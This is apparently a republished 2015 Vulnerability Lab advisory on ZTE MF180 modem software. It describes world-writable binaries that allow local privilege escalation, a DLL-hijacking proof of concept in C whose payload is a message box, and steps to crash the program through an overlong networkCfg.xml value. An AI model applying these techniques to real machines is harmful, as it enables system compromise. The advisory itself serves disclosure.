Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:31596
HistoryJan 13, 2015 - 12:00 a.m.

ZTE Datacard PCW(Telecom MF180) - Multiple Software Vulnerabilities

2015-01-1300:00:00
vulners.com
25

Document Title:

ZTE Datacard PCW(Telecom MF180) - Multiple Vulnerabilities

References (Source):

http://www.vulnerability-lab.com/get_content.php?id=1405

Release Date:

2015-01-12

Vulnerability Laboratory ID (VL-ID):

1405

Common Vulnerability Scoring System:

6

Product & Service Introduction:

http://www.zte.com.cn/
http://www.zte.co.nz/main/Product_Downloads/MF180_downloads.htm
http://www.zte.co.nz/downloads/software/MF180_PC_Install.exe

Abstract Advisory Information:

An independent vulnerability-laboratory researcher discovered multiple vulnerabilities in the official ZTE Datacard ZTE Datacard MF180 PCW_TNZNZLMF180V1.0.0B02 (Telecom MF180 Modem).

Vulnerability Disclosure Timeline:

2015-01-12: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Affected Product(s):

ZTE Corporation
Product: Datacard MF180 (Telecom MF180 Modem) - Software PCW_TNZNZLMF180V1.0.0B02

Exploitation Technique:

Local

Severity Level:

High

Technical Details & Description:

A local privilege escalation vulnerability has been discovered in the official ZTE Datacard mobiconnect application software.
The local security vulnerability allows an attackers to gain higher access privileges by execution of arbitrary codes.

The application is vulnerable to an elevation of privileges vulnerability which can be used by a simple user that can change
the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the `F` flag (full)
for the `Everyone`(Tout le monde:F) and `Users` group, for the all binary file. The files are installed in the `Ucell Internet`
directory which has the Everyone group assigned to it with full permissions making every single file inside vulnerable to change
by any user on the affected machine. After you replace the binary with your rootkit, on reboot you get SYSTEM privileges.

The security risk of the local privilege escalation vulnerability is estimated as high with a cvss (common vulnerability scoring system)
count of 6.0. Exploitation of the vulnerability requires a local privileged systen user account without user for interaction.
Successful exploitation of the privilege escalation web vulnerability results in software- or system compromise.

The second discovered issue is a dll hijacking vulnerability in the mms_dll_r.dll and mediaplayerdll.dll. The issue allows local attackers
with process privileges to inject own code to the affected libraries.

The third discovered vulnerability is a denial of service bug that affects the local process. Local attackers are able to manipulate the
networkCfg.xml to crash the application with a runtime error that results in a unhandled exception.

Proof of Concept (PoC):

1.1
The vulnerability can be exploited by local attackers with restricted account privileges and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

— PoC Session Logs —
C:\Users\s-dz>cacls "C:\Program Files\Telecom Connection Manager"
C:\Program Files\Telecom Connection Manager Tout le monde:F
Tout le monde:(OI)(CI)(IO)F
NT SERVICE\TrustedInstaller:(ID)F
NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F
AUTORITE NT\Systeme:(ID)F
AUTORITE NT\Systeme:(OI)(CI)(IO)(ID)F
BUILTIN\Administrateurs:(ID)F
BUILTIN\Administrateurs:(OI)(CI)(IO)(ID)F
BUILTIN\Utilisateurs:(ID)R
BUILTIN\Utilisateurs:(OI)(CI)(IO)(ID)(acces special
GENERIC_READ
GENERIC_EXECUTE
CREATEUR PROPRIETAIRE:(OI)(CI)(IO)(ID)F

C:\Users\s-dz>

1.2 Path Subversion Arbitrary DLL Injection Code Execution (mms_dll_r.dll)

ZTE Modems is prone to a flaw in the way it loads dynamic-link libraries (mms_dll_r.dll). The program uses a fixed path
to look for specific files or libraries. This path includes directories that may not be trusted or under user control.
By placing a custom version of the file or library in the path, the program will load it before the legitimate version.
This allows a local attacker to inject custom code that will be run with the privilege of the program or user executing
the program.This attack can be leveraged remotely in some cases by placing the malicious file or library on a network
share or extracted archive downloaded from a remote source. This can be done by tricking a user into opening
an unspecified file from the local file system or a USB drive in some cases

    */

    #include <windows.h>

    BOOL WINAPI DllMain (
                HANDLE    hinstDLL,
                DWORD     fdwReason,
                LPVOID    lpvReserved)
    {
        switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
    owned();
    case DLL_THREAD_ATTACH:
            case DLL_THREAD_DETACH:
            case DLL_PROCESS_DETACH:
    break;
    }
    return TRUE;
    }

    int owned() {
    MessageBox(0, "ZTE DLL Hijacked\Hadji Samir", "POC", MB_OK);
    }

1.3 PoC Local DoS Crash Exploit

First go to C:\program files\Internet Mobile\NetworkCfg.xml (Network configuration) and write "A" * 3000 in <ConfigFileName>"A" x 3000</ConfigFileName>.
Save it open the program. Now, the poc will crash the software …

Security Risk:

1.1
The security risk of the local privilege escalation vulnerability in the path directory is estimated as high. (CVSS 6.0)

1.2
The security risk of the dll injection softwarevulnerability in the mms_dll_r.dll is estimated as medium. (CVSS 5.6)

1.3
The local denial of service vulnerability in the xml configuration file of the software is estimated as medium. (CVSS 2.2)

Credits & Authors:

Hadji Samir [email protected]

Disclaimer & Information:

The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: [email protected] - [email protected] - [email protected]
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
([email protected] or [email protected]) to get a permission.

			Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™

– VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: [email protected] PGP KEY: http://www.vulnerability-lab.com/keys/[email protected]&#37;280x198E9928&#37;29.txt